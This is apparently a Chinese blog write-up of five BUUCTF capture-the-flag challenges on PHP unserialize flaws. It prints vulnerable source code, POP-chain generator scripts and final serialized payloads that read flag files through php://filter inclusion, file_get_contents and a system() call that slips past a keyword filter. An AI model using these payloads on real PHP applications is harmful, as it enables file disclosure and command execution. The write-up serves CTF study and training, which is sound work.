PHP反序列化题目WP

BUUCTF [极客大挑战 2019]PHP 1

根据题目提示 利用御剑工具扫描站点目录发现存在后缀名www.zip

访问后下载一个压缩包 里面存在文件

打开flag.php发现flag但是很明显是假的

接着打开class.php和index.php发现php反序列化漏洞

按照笔记中的做题步骤 把代码复制到本地操作

通过代码审计需要将username=admin password=100 所以可构造pop链

运行后得到

由于username和password属于私有属性所以在序列化时会出现空字符 上传时会出现错误 需要在空字符的地方替换为%00

并且需要绕过__wake_up() 所以在上传反序列化字符串时要修改属性个数值大于实际属性个数

最终payload 得到flag

1
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 1

通过代码审计加了点注释 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); //表示接着要去访问process函数
}

public function process() {
if($this->op == "1") {
$this->write(); //如果op=1,访问write函数
} else if($this->op == "2") {
$res = $this->read();
$this->output($res); //如果op=2,访问read函数并输出
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!"); //如果filename及content不为空且content里字符串长度大于100输出Too long
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); //如果filename不为空,获取filename输出为flag.php,我们就能获得flag.php里的内容
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true; //形参变量i在ASCII码里为32-125则返回真
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) { //调用is_valid函数判断是否满足在32-125范围
$obj = unserialize($str);
}

}

题目提示flag在文件flag.php中问题在于我们要如何读取flag

由于read()方法中有file_get_contents($this->filename);可读取文件的函数 并且当op=2时能够指向read()方法 所以我们只需使op=2 filename=flag.php

于是把代码复制到本地 并构造pop链

得出pop链 (由于protected属性生成pop链时会出现空字符 所以修改protect为public在进行输出)

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

传入pop链 打开源代码后发现flag

BUUCTF [MRCTF2020]Ezpop 1

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);

先看Modifier类

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

Modifier类中存在include()文件包含漏洞函数 并且题目提示flag位于flag.php文件中 所以我们可利用php伪协议来读取flag 并且还存在__invoke魔术方法可以触发include函数 __invoke魔术方法在把对象当初函数调用时触发 我们找到了pop链的尾部(将php伪协议赋值给参数var) 所以我们要接着寻找能触发invoke函数的方法

再看Test类

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

__get魔术方法中存在$function()可以将对象当成函数来使用 我们只需$p=new Modifier即可触发

但由于__get魔术方法在调用不可访问、不存在的对象成员属性时触发 我们还需寻找触发__get魔术方法的方法

最后看Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

由于类中的__ToString()魔术方法 调用了source属性 并且Test类中没有source属性 所以我们要想触发__get魔术方法需要使得$str=new Test 要想触发__ToString魔术方法需要把对象当成字符串调用 正好Show类的construct方法存在字符串拼接 所以我们需将$source=new Show

接下来将代码复制到本地 并注释掉一些无关的东西开始构建pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
// public function append($value){
// include($value);
// }
// public function __invoke(){
// $this->append($this->var);
// }
}

class Show{
public $source;
public $str;
// public function __construct($file='index.php'){
// $this->source = $file;
// echo 'Welcome to '.$this->source."<br>";
// }
// public function __toString(){
// return $this->str->source;
// }

// public function __wakeup(){
// if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// echo "hacker";
// $this->source = "index.php";
// }
// }
}

class Test{
public $p;
// public function __construct(){
// $this->p = array();
// }
//
// public function __get($key){
// $function = $this->p;
// return $function();
// }
}

//if(isset($_GET['pop'])){
// @unserialize($_GET['pop']);
//}
//else{
// $a=new Show;
// highlight_file(__FILE__);
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));

运行得到pop链

上传参数pop

1
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到一段密文 解码后获得flag

BUUCTF [NewStarCTF 公开赛赛道]UnserializeOne

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

通过代码审计我们发现在Sec类中存在输出flag的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

由于要触发魔术方法__invoke所以需要将对象当成函数来调用

接着我们发现Start类中存在将对象当成函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

所以我们有func=new Sec; 所以我们还要寻找触发__isset()魔术方法的方法

由于__isset()魔术方法当对不可访问属性调用isset()或empty()时触发

于是我们发现eeee类中存在isset

1
2
3
4
5
6
7
8
9
10
class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

所以我们接着有obj=new Start;接着我们需要寻找触发__clone的魔术方法

由于__clone魔术方法在使用clone关键字拷贝完一个对象后触发 所以我们接着发现Easy类中发现存在clone函数

1
2
3
4
5
6
7
8
class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

所以我们接着有 var=new eeee;接着我们要寻找触发__call魔术方法的方法

由于__call魔术方法在调用对象不可访问、不存在的方法时触发 所以我们接着发现Sec类中

1
2
3
4
5
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

所以我们有obj=new Easy; 接着我们要寻找触发__toString魔术方法的方法 接着发现Start类中

1
2
3
4
5
6
7
8
9
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
}

所以我们有name=new Start; 得到大概思路

接着把代码复制到本地 注释掉无关的代码 构建payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
//error_reporting(0);
//highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
public $func;

// public function __destruct()
// {
// echo "Welcome to NewStarCTF, ".$this->name;
// }
//
// public function __isset($var)
// {
// ($this->func)();
// }
}

class Sec{
public $obj;
public $var;

// public function __toString()
// {
// $this->obj->check($this->var);
// return "CTFers";
// }
//
// public function __invoke()
// {
// echo file_get_contents('/flag');
// }
}

class Easy{
public $cla;

// public function __call($fun, $var)
// {
// $this->cla = clone $var[0];
// }
}

class eeee{
public $obj;

// public function __clone()
// {
// if(isset($this->obj->cmd)){
// echo "success";
// }
// }
}

//if(isset($_POST['pop'])){
// unserialize($_POST['pop']);
//}
$a=new Start;
$a->name=new Sec;
$a->name->obj=new Easy;
$a->name->var=new eeee;
$a->name->var->obj=new Start;
$a->name->var->obj->func=new Sec;
echo serialize($a);

运行获得pop链

上传参数payload

1
pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

最后获得flag

BUUCTF [NewStarCTF 2023 公开赛道]Unserialize?

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

代码审计发现evil类中的__destruct方法内存在system函数漏洞

于是把代码复制到本地 将需要执行的命令赋值给cmd

先输入命令 ls /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
public $cmd="ls /";

// public function __destruct()
// {
// if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
// @system($this->cmd);
// }
// }
}
$a=new evil();
echo serialize($a);
//@unserialize($_POST['unser']);
?>

接着传入参数

发现根目录下储存在类似于flag的文件

由于这里过滤了许多可以查看读取flag的关键字 所以我们这里使用head 所以给cmd赋值

1
cmd="head /th1s_1s_fffflllll4444aaaggggg"

传参

得到flag


PHP反序列化题目WP
http://example.com/2024/12/19/PHP反序列化题目WP/
作者
big_freeze_mouse
发布于
2024年12月19日
许可协议